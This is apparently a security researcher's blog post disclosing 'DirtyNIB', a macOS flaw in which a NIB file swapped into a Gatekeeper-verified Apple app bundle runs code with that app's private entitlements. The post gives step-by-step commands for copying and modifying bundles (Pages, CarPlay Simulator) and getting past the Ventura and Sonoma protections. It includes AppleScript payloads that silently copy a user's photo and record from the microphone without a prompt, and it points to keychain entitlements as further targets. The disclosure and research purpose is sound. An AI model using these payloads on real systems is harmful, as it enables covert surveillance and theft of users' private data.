« Back to home

MacOS "DirtyNIB" Vulnerability

While looking for avenues of injecting code into platform binaries back in macOS Monterey, I was able to identify a vulnerability which allowed the hijacking of Apple application entitlements.

Recently I decided to revisit this vulnerability after a long time of trying to have it patched, and was surprised to see that it still works. There are some caveats introduced with later versions of macOS which we will explore, but in this post we’ll look at a vulnerability in macOS Sonoma which has been around for a long time, and remains an 0day, urm, to this day… let’s dig in.

The Vulnerability

Let’s waste no time with this. Graphical applications in macOS typically will have a UI defined by a NIB file. You’ve likely played around with these files in XCode before in the form of a XIB which is later compiled to a NIB during release:

It turns out that swapping out NIB files in bundles doesn’t invalidate access to entitlements once the app has been verified by Gatekeeper. This usually wouldn’t be too much of an issue… so you’re able to reskin an application after it has been deployed.. big deal? Well, not exactly. It’s actually pretty trivial to get code execution via a modified NIB, and Apple like to add private entitlements to their apps.


Something that I’ve been calling “DirtyNIB” for a few years is a simple method of gaining code execution from within a NIB file and it works like this.

First we need to create a new NIB file, we’ll use XCode for the bulk of the construction. We start by adding an Object to the interface and set the class to NSAppleScript:

For the object we need to set the initial source property, which we can do using User Defined Runtime Attributes:

This sets up our code execution gadget, which is just going to run AppleScript on request. To actually trigger the execution of the AppleScript, we’ll just add in a button for now (you can of course get creative with this ;). The button will bind to the Apple Script object we just created, and will invoke the executeAndReturnError: selector:

For testing we’ll just use the Apple Script of:

set theDialogText to "PWND"
display dialog theDialogText

And if we run this in XCode debugger and hit the button:

With our ability to execute arbitrary AppleScript code from a NIB, we next need a target. Let’s choose Pages for our initial demo, which is of course an Apple application and certainly shouldn’t be modifiable by us.

We’ll first take a copy of the application into /tmp/:

cp -a -X /Applications/Pages.app /tmp/

Then we’ll launch the application to avoid any Gatekeeper issues and allow things to be cached:

open -W -g -j /Applications/Pages.app

After launching (and killing) the app the first time, we’ll need to overwrite an existing NIB file with our DirtyNIB file. For demo purposes, we’re just going to overwrite the About Panel NIB so we can control the execution:

cp /tmp/Dirty.nib /tmp/Pages.app/Contents/Resources/Base.lproj/TMAAboutPanel.nib

Once we’ve overwritten the nib, we can trigger execution by selecting the About menu item:

If we look at Pages a bit closer, we see that it has a private entitlement to allow access to a users Photos:

So we can put our POC to the test by modifying our AppleScript to steal photos from the user without prompting:

use framework "Cocoa"
use framework "Foundation"

set grabbed to current application's NSData's dataWithContentsOfFile:"/Users/xpn/Pictures/Photos Library.photoslibrary/originals/6/68CD9A98-E591-4D39-B038-E1B3F982C902.gif"

grabbed's writeToFile:"/Users/xpn/Library/Containers/com.apple.iWork.Pages/Data/wtf.gif" atomically:1

And when run:

With the basic premise shown, let’s look at some caveats that have been introduced with subsequent versions of macOS before we get into the fun stuff.

Then Along Came Ventura

So this bug was working well for a while.. and then along came Ventura. And with it, Launch Constraints. So what is a Launch Constraint? Well this was Apple’s way of stopping us from using the previous trick of copying a platform bundle and it’s entitlements to /tmp and modifying assets. Essentially it killed a large wave of exploits in one swoop.

Let’s take a very quick detour to help understand how we can parse out the list of Launch Constraints in macOS. The database containing trusted hashes is found in:


As the cache comes in the img4 format, we first need to extract it using img4tool:

With the cache extracted, we need to parse the content. I’ve created a script, extract_trustcache.py which can be found here and will give us a list of CDHASH’s and ConstraintCategory‘s:

If we want to know what each category means, we can refer to Linus Henze’s Gist here.

Now we need to search for launch constraints with a value of 0, which allow us to copy the contents for modification. There are a bunch of them of course, but for brevity, the ones that I found on macOS Ventura were:

/System/Library/Templates/Data/Library/Image Capture/Support/LegacyDeviceDiscoveryHelpers/AirScanLegacyDiscovery.app/Contents/MacOS/AirScanLegacyDiscovery

Of these binaries, we now need to narrow down candidates with entitlements that would be worth hijacking. At the time of searching, the most interesting was found in MobileDeviceUpdater.app:

Unfortunately for us, the previous exploit demonstrated here is no longer viable due to additional requirements when in PkgKit.

So we need to find a new candidate.

Finding a New Candidate

So we know that OS applications aren’t working anymore with Launch Constraints getting in the way. So we need to search for other Apple binaries with entitlements. One interesting set of binaries can be found in the Additional_Tools_for_Xcode_15_Release_Candidate.dmg which can be downloaded from the Apple Developer website here.

Specifically we’ll take the CarPlay Simulator.app bundle from the DMG, which has the ability to record from the microphone without prompting:

To actually make a recording using our DirtyNib file, we will use the AppleScript of:

use framework "Cocoa"
use framework "Foundation"

property nil : missing value

use framework "AVFAudio"

set a to current application's NSURL's fileURLWithPath:"/tmp/recording.aac"
set b to current application's AVAudioSession's sharedInstance
set c to current application's AVAudioSessionCategoryPlayAndRecord
set settings to (current application's NSDictionary's dictionaryWithContentsOfFile:"/tmp/output.plist")
set p1 to 1
set p2 to a reference to p1

set p3 to {1.651469415E+9, 2.037412713E+9, 0}
set p4 to a reference to p3

current application's AudioObjectSetPropertyData(1, p3, 0, 0, 4, p1)

tell (current application's AVAudioRecorder's alloc's initWithURL:a settings:settings |error|:nil)
	its |prepareToRecord|
	its recordForDuration:10.0
end tell

The following serialized settings referenced within the AppleScript will need to be written to /tmp/output.plist:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">

When combined, accessing the microphone TCC entitlement will mean that we:

  1. Take a copy of CarPlay Simulator.app to /tmp/
  2. Launch the CarPlay Simulator.app to cache within Gatekeeper
  3. Overwrite Contents/Resources/Base.lproj/MainMenu.nib with our Dirty.nib file
  4. Launch CarPlay Simulator.app again

This should kick off a microphone recording using the TCCServiceMicrophone entitlement when you hit the button without prompting the user:

And Now Along Comes Sonoma

So unfortunately we’re not done yet. In Sonoma, we have a few more hurdles we need to jump through. This is due to the new restrictions around accessing Application bundle contents without permission.

Luckily this is trivial to work around for our case. We simply introduce another few steps, but we can get it to work all the same:

  1. Take a copy of CarPlay Simulator.app to /tmp/
  2. Rename /tmp/Carplay Simulator.app/Contents to /tmp/CarPlay Simulator.app/NotCon
  3. Launch the binary /tmp/CarPlay Simulator.app/NotCon/MacOS/CarPlay Simulator to cache within Gatekeeper
  4. Overwrite NotCon/Resources/Base.lproj/MainMenu.nib with our Dirty.nib file
  5. Rename to /tmp/CarPlay Simulator.app/Contents
  6. Launch CarPlay Simulator.app again

This should be enough to work around the new protections and kick off our Dirty.nib exploit:

Now this is one example of how we can apply this exploit, obviously this will work with any application which:

  1. Has entitlements that you want to hijack
  2. Works in the new Launch Constraints landscape

For example, many applications come with keychain-access-groups which are worth exploring ;)

The hardest part will be figuring out how to get AppleScript to actually work!

The XIB file used throughout this post can be found here.

Responsible Disclosure

OK, so why drop this now? Well, it’s certainly not without trying to have it patched! I first reported the issue to Apple back in November 2021. After exchanging MANY emails, I’ve had multiple confirmations that the issue would be patched. I’ve even had a CVE in the process (CVE-2022-48505).. but I’ve no idea what that actually fixes. If you want to see a preview of what it’s like to deal with Apple’s bug bounty program, check out my tweet’s here.

Unfortunately at this stage.. I can’t imagine going through this process again to have this fixed.

So here we are, if you manage to have this fixed with Apple, give me a shout :)